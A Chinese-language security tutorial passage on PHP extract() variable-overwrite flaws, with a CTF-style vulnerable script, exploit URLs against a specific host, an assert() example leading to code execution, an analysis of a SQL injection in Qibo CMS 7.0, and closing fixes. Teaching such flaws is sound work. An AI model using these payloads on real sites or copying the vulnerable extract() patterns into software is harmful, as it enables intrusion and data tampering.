# 2.21.1 extract

## extract()

extract()函数使用参考

[http://www.w3school.com.cn/php/func\_array\_extract.asp](http://www.w3school.com.cn/php/func_array_extract.asp)

漏洞产生原因：

```
extract()函数当只有一个参数时，默认的第二参数是：EXTR_OVERWRITE，如果有变量发生冲突，则覆盖已有的变量。
```

参考代码：

```php
    <?php
    $flag='xxx';
    extract($_GET);
    if(isset($shiyan))
    {
        $content=trim(file_get_contents($flag));
        if($shiyan==$content)
        {
            echo'flag{xxx}';
        }
        else
        {
            echo'Oh.no';
        }
    }
    ?>
```

我们大体上分析一下代码逻辑，使用get方式获取一个值，然后使用extract方法使他变成一个变量，然后判断是否已经声明了$shiyan这个变量名，若未声明则输出‘Oh.no’，若已经声明，则使用file\_get\_contents方法将$flag的值转换为字符串，然后使用trim方法去除字符串两侧的空白字符或其他预定义字符，然后判断$shiyan的值是不是==$content的值，若等于，则输出flag

在之前我们已经说过，extract()函数当只有一个参数时，默认的第二参数是：EXTR\_OVERWRITE，如果有变量发生冲突，则覆盖已有的变量。而在php中null == "string" --> true

所以我们现在需要解决的问题就是：

* if(isset($shiyan))  --> TRUE
* if($shiyan==$content)  --> TRUE

先给出最后的payload：

```
http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=
http://123.206.87.240:9009/1.php?shiyan
http://123.206.87.240:9009/1.php?shiyan&flag
http://123.206.87.240:9009/1.php?shiyan&content
http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999
```

因为我们知道，最基本的条件就是需要一个变量$shiyan才能进行下面的操作，所以我们最基本的就是传入一个$shiyan变量。

以第一个payload为例：

```
http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan
```

此时就相当于传入了一个值为null的变量$shiyan，而null==string，所以可以输出flag

第二个payload：

```
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan&flag
```

此时就相当于传入了一个值为null的变量$shiyan和一个值为null的变量$flag，而传入的flag又会覆盖掉本来存在的$flag，使得$content的值=null，所以可以输出flag

第三个payload：

```
http://123.206.87.240:9009/1.php?shiyan=&content=
http://123.206.87.240:9009/1.php?shiyan&content
```

这个跟第二个同理，只是这个覆盖了$content的值，使得$content的值=null，所以可以输出flag

第四个请自行思考。

另一个例子：

```php
    extract($_POST);
    function goAway() {
      error_log("Hacking attempt.");
      header('Location: /error/');
    }
    if (!isset($pi) || !is_numeric($pi)) {
      goAway();
    }
    if (!assert("(int)$pi == 3")) {
      echo "This is not pi.";
    } else {
      echo "This might be pi.";
    }
```

这个很明显就是存在一个变量覆盖漏洞，如我们传入一个?pi=phpinfo();进去，就会导致任意代码执行。

## 齐博cms7.0分析

具体分析地址：

[http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib\&id=13](http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib\&id=13)

漏洞的原因就是 inc/common.inc.php 中的这一段代码：

```php
    if(!ini_get('register_globals')){  
        @extract($_FILES,EXTR_SKIP);  
    }
```

这段代码的含义就是把 php接收到的$\_Files 请求的数组转换成一些变量。而我们知道，这些变量是不会经过魔术引号的转义的。 再看 member/comment.php 这个文件，如下代码：

```php
    if($job=='del'){  
          foreach( $cidDB AS $key=>$value){  
            $rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");  
            $erp=get_id_table($rs[aid]);  
            $rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");  
            if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){  
                $db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");  
            }  
            $db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");  
        }  
        refreshto("$FROMURL","删除成功",0);  
    }
```

其中 $cidDB 这个变量本应该是从URL里面通过get方式获取的留言的id ，然后拼到sql语句里面执行sql的。

但是因为 comment.php引用了common.inc.php,并且$cidDB并没有初始化，所以这边我们可以用 $\_Files里面的变量去直接给 $cidDB 赋值，并且没有转义。

构造poc:

然后将我们的payload命名为文件名即可。

## 修复

1、设置register\_globals=OFF

2、在调用extract()时使用EXTR\_SKIP
